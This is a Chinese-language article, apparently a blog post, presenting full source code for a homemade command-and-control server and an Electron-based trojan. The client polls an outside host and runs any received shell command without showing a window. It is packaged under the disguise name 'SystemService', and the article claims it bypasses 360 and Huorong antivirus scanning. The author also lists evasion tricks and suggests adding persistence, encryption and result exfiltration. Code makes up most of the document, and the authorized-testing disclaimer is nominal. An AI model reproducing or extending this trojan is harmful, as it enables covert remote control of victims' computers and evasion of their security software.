我用NodeJS+electron自研了个C2和木马并绕过了360+火绒内存扫描(附源码)
字数 957 2025-08-29 08:29:58
NodeJS + Electron 构建C2木马及绕过杀软检测技术文档
前言
本文档详细记录了使用NodeJS和Electron构建C2(Command and Control)木马的技术实现,以及如何绕过360和火绒等杀毒软件的内存扫描和查杀。该技术利用NodeJS的后端能力和Electron的打包特性,实现了一个隐蔽的远程控制工具。
技术架构
核心组件
- 服务端(Server):基于NodeJS + Express构建的C2控制中心
- 客户端(Client):基于Electron构建的无GUI被控端
工作原理
- 控制端通过HTTP接口下发命令
- 被控端通过随机间隔轮询获取命令
- 被控端执行命令后返回结果(可选)
服务端实现
环境搭建
npm init
npm install express
服务端代码 (server.js)
const express = require('express')
const app = express()
app.use(express.json())
let pendingCommand = null
// 控制端下发命令接口
app.post('/sendCommand', (req, res) => {
const { command } = req.body
pendingCommand = command
console.log(`[+] 命令已存储: ${command}`)
res.status(200).json({ status: 'success' })
})
// 被控端获取命令接口
app.get('/execCommand', (req, res) => {
if (pendingCommand) {
const command = pendingCommand
pendingCommand = null
res.status(200).json({ command })
} else {
res.status(200).json({ command: null })
}
})
app.listen(3000, () => {
console.log('C2服务器运行在端口 3000')
})
测试命令下发
curl -X POST http://localhost:3000/sendCommand -H "Content-Type: application/json" -d "{\"command\":\"whoami\"}"
客户端实现
项目创建
vue create client
cd ./client/
vue add electron-builder
主进程代码 (background.js)
const { app } = require('electron')
const axios = require('axios').default
const { exec } = require('child_process')
const HOST = 'http://192.168.0.106:3000'
function createWindow() {
return null // 无GUI窗口
}
async function pollCommands() {
try {
const response = await axios.get(`${HOST}/execCommand`)
if (response.data.command) {
console.log(`[*] 接收到命令: ${response.data.command}`)
// 执行命令
exec(response.data.command, (err, stdout, stderr) => {
if (err) console.error(`[!] 执行错误: ${err}`)
if (stdout) console.log(`[输出] ${stdout}`)
if (stderr) console.error(`[错误] ${stderr}`)
})
// 快速轮询检查新命令
setTimeout(pollCommands, 100)
} else {
// 随机延迟轮询(1-6秒)
const retryDelay = Math.floor(Math.random() * 5000) + 1000
setTimeout(pollCommands, retryDelay)
}
} catch (error) {
// 错误时5秒后重试
setTimeout(pollCommands, 5000)
}
}
app.whenReady().then(() => {
createWindow()
pollCommands()
})
打包配置 (vue.config.js)
module.exports = {
pluginOptions: {
electronBuilder: {
nodeIntegration: true,
mainProcessFile: 'src/background.js',
builderOptions: {
productName: "SystemService", // 伪装成系统服务
appId: "com.example.systemservice",
win: {
target: "portable",
icon: "build/icon.ico" // 自定义图标
},
extraResources: [
"build/icon.ico"
],
extraMetadata: {
buildNumber: "1.0.0"
}
}
}
}
}
绕过杀软技术要点
- 无GUI设计:Electron主进程不创建任何窗口,减少可疑行为
- 随机轮询间隔:1-6秒随机间隔轮询,避免固定模式被检测
- 大文件体积:利用Electron打包后的大体积(约100MB)绕过杀软检测
- 合法产品伪装:配置productName为"SystemService",使用系统服务类名称
- 自定义图标:使用常见系统图标降低怀疑
- NodeJS特性:利用NodeJS原生模块执行命令,避免使用可疑的Windows API
打包与部署
npm run electron:build
打包后会生成可执行文件,无需目标机器安装Node环境即可运行。
效果验证
- 火绒内存扫描:成功绕过
- 360查杀:成功绕过
扩展建议
- 命令结果回传:可添加第三个接口用于回传命令执行结果
- 持久化:添加开机自启动功能
- 加密通信:对命令和结果进行加密
- 多平台支持:利用Electron跨平台特性支持macOS和Linux
注意事项
- 本技术仅用于合法安全研究和授权测试
- 实际使用中应考虑更完善的错误处理和重连机制
- 随着杀软更新,可能需要调整绕过技术
总结
该方案展示了如何利用常见的Web技术(NodeJS+Electron)构建隐蔽的C2框架,并通过多种技术组合绕过主流杀毒软件的检测。关键在于利用合法框架的特性,避免触发杀软的常见恶意行为检测模式。